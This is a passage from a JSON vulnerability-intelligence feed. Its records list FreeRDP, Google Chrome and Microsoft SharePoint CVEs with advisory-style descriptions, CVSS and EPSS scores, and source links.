3.32.0 contains an unbounded reassembly vulnerability in WTSProcessChannelData that fails to enforce cumulative fragment limits.","summary":"FreeRDP from 2.0.0 before 3.32.0 contains an unbounded reassembly vulnerability in WTSProcessChannelData that fails to enforce cumulative fragment limits. Authenticated clients can start a static virtual channel message, withhold the LAST flag, and send endless fragments to exhaust server memory.","detail":"FreeRDP from 2.0.0 before 3.32.0 contains an unbounded reassembly vulnerability in WTSProcessChannelData that fails to enforce cumulative fragment limits. Authenticated clients can start a static virtual channel message, withhold the LAST flag, and send endless fragments to exhaust server memory.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T03:18:04.703Z","updatedAt":"2026-10-20T15:34:57.770Z","regions":["Global"],"vendor":"freerdp","product":"freerdp","stacks":["FreeRDP","freerdp"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111377","asOf":"2026-10-20T15:34:57.770Z"},"epss":{"probability":0.00318,"percentile":0.24537,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111377&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111377","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111377","type":"primary","publishedAt":"2026-10-16T03:18:04.703Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-xm53-352c-57jw","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111377&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111377, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111375","cveId":"CVE-2026-111375","aliases":[],"kind":"vulnerability","title":"FreeRDP from 3.0.0 before 3.32.0 contains an out-of-bounds read vulnerability in the Windows RAIL client that allows malicious RDP servers to trigger heap over-reads by sending...","summary":"FreeRDP from 3.0.0 before 3.32.0 contains an out-of-bounds read vulnerability in the Windows RAIL client that allows malicious RDP servers to trigger heap over-reads by sending non-NUL-terminated window titles. Attackers can send a full-length WINDOW_ORDER_FIELD_TITLE update that wf_rail_window_common passes to SetWindowTextW, corrupting titles or crashing the client.","detail":"FreeRDP from 3.0.0 before 3.32.0 contains an out-of-bounds read vulnerability in the Windows RAIL client that allows malicious RDP servers to trigger heap over-reads by sending non-NUL-terminated window titles. Attackers can send a full-length WINDOW_ORDER_FIELD_TITLE update that wf_rail_window_common passes to SetWindowTextW, corrupting titles or crashing the client.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T03:18:04.363Z","updatedAt":"2026-10-21T02:17:06.537Z","regions":["Global"],"vendor":"freerdp","product":"freerdp","stacks":["FreeRDP","freerdp"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111375","asOf":"2026-10-21T02:17:06.537Z"},"epss":{"probability":0.00315,"percentile":0.24158,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111375&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111375","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111375","type":"primary","publishedAt":"2026-10-16T03:18:04.363Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-3rvr-qvx8-rj23","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111375&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111375, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111373","cveId":"CVE-2026-111373","aliases":[],"kind":"vulnerability","title":"FreeRDP before 3.32.0 contains a NULL pointer dereference vulnerability in the websocket transport that allows a malicious gateway to crash clients by sending zero-length pings.","summary":"FreeRDP before 3.32.0 contains a NULL pointer dereference vulnerability in the websocket transport that allows a malicious gateway to crash clients by sending zero-length pings. When the payload length is zero, websocket_reply_pong passes a nullptr stream to websocket_reply_close, triggering an assertion failure that terminates the client process and causes denial of service.","detail":"FreeRDP before 3.32.0 contains a NULL pointer dereference vulnerability in the websocket transport that allows a malicious gateway to crash clients by sending zero-length pings. When the payload length is zero, websocket_reply_pong passes a nullptr stream to websocket_reply_close, triggering an assertion failure that terminates the client process and causes denial of service.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T03:18:04.063Z","updatedAt":"2026-10-20T15:37:09.923Z","regions":["Global"],"vendor":"freerdp","product":"freerdp","stacks":["FreeRDP","freerdp"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.9,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111373","asOf":"2026-10-20T15:37:09.923Z"},"epss":{"probability":0.00279,"percentile":0.20137,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111373&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111373","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111373","type":"primary","publishedAt":"2026-10-16T03:18:04.063Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-83g2-gf92-5c4g","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111373&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111373, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110922","cveId":"CVE-2026-110922","aliases":[],"kind":"vulnerability","title":"Use after free in Prerender in Google Chrome prior to 155.0.8059.84 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Prerender in Google Chrome prior to 155.0.8059.84 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Critical)","detail":"Use after free in Prerender in Google Chrome prior to 155.0.8059.84 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Critical)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T22:19:27.570Z","updatedAt":"2026-10-19T19:28:49.460Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110922","asOf":"2026-10-19T19:28:49.460Z"},"epss":{"probability":0.00384,"percentile":0.32182,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110922&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110922","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110922","type":"primary","publishedAt":"2026-10-15T22:19:27.570Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01886704284.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110922&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110922, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110921","cveId":"CVE-2026-110921","aliases":[],"kind":"vulnerability","title":"Use after free in V8 in Google Chrome prior to 155.0.8059.84 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in V8 in Google Chrome prior to 155.0.8059.84 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Use after free in V8 in Google Chrome prior to 155.0.8059.84 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T22:19:27.473Z","updatedAt":"2026-10-19T19:28:57.650Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110921","asOf":"2026-10-19T19:28:57.650Z"},"epss":{"probability":0.00252,"percentile":0.16555,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110921&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110921","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110921","type":"primary","publishedAt":"2026-10-15T22:19:27.473Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01886704284.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110921&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110921, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110920","cveId":"CVE-2026-110920","aliases":[],"kind":"vulnerability","title":"Memory corruption in V8 in Google Chrome prior to 155.0.8059.84 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in V8 in Google Chrome prior to 155.0.8059.84 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Memory corruption in V8 in Google Chrome prior to 155.0.8059.84 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T22:19:27.367Z","updatedAt":"2026-10-19T19:29:15.900Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110920","asOf":"2026-10-19T19:29:15.900Z"},"epss":{"probability":0.00252,"percentile":0.16554,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110920&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110920","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110920","type":"primary","publishedAt":"2026-10-15T22:19:27.367Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01886704284.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110920&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110920, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110919","cveId":"CVE-2026-110919","aliases":[],"kind":"vulnerability","title":"Use after free in V8 in Google Chrome prior to 155.0.8059.84 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in V8 in Google Chrome prior to 155.0.8059.84 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Use after free in V8 in Google Chrome prior to 155.0.8059.84 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T22:19:27.267Z","updatedAt":"2026-10-19T19:29:36.127Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110919","asOf":"2026-10-19T19:29:36.127Z"},"epss":{"probability":0.00252,"percentile":0.16554,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110919&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110919","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110919","type":"primary","publishedAt":"2026-10-15T22:19:27.267Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01886704284.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110919&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110919, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110915","cveId":"CVE-2026-110915","aliases":[],"kind":"vulnerability","title":"Use after free in Compositing in Google Chrome prior to 155.0.8059.84 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Compositing in Google Chrome prior to 155.0.8059.84 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in Compositing in Google Chrome prior to 155.0.8059.84 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T22:19:26.843Z","updatedAt":"2026-10-19T19:05:07.060Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110915","asOf":"2026-10-19T19:05:07.060Z"},"epss":{"probability":0.00303,"percentile":0.22824,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110915&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110915","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110915","type":"primary","publishedAt":"2026-10-15T22:19:26.843Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01886704284.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110915&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110915, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110914","cveId":"CVE-2026-110914","aliases":[],"kind":"vulnerability","title":"Memory corruption in Workers in Google Chrome prior to 155.0.8059.84 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in Workers in Google Chrome prior to 155.0.8059.84 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in Workers in Google Chrome prior to 155.0.8059.84 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T22:19:26.737Z","updatedAt":"2026-10-19T19:05:25.360Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110914","asOf":"2026-10-19T19:05:25.360Z"},"epss":{"probability":0.00303,"percentile":0.22824,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110914&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110914","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110914","type":"primary","publishedAt":"2026-10-15T22:19:26.737Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01886704284.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110914&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110914, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110913","cveId":"CVE-2026-110913","aliases":[],"kind":"vulnerability","title":"Memory corruption in DOM in Google Chrome prior to 155.0.8059.84 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in DOM in Google Chrome prior to 155.0.8059.84 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Memory corruption in DOM in Google Chrome prior to 155.0.8059.84 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T22:19:26.620Z","updatedAt":"2026-10-19T19:05:40.130Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110913","asOf":"2026-10-19T19:05:40.130Z"},"epss":{"probability":0.00325,"percentile":0.25319,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110913&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110913","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110913","type":"primary","publishedAt":"2026-10-15T22:19:26.620Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01886704284.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110913&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110913, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108452","cveId":"CVE-2026-108452","aliases":[],"kind":"vulnerability","title":"Improper limitation of a pathname to a restricted directory ('path traversal') in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.","summary":"Improper limitation of a pathname to a restricted directory ('path traversal') in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.","detail":"Improper limitation of a pathname to a restricted directory ('path traversal') in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T21:17:10.907Z","updatedAt":"2026-10-19T20:35:29.750Z","regions":["Global"],"vendor":"microsoft","product":"sharepoint 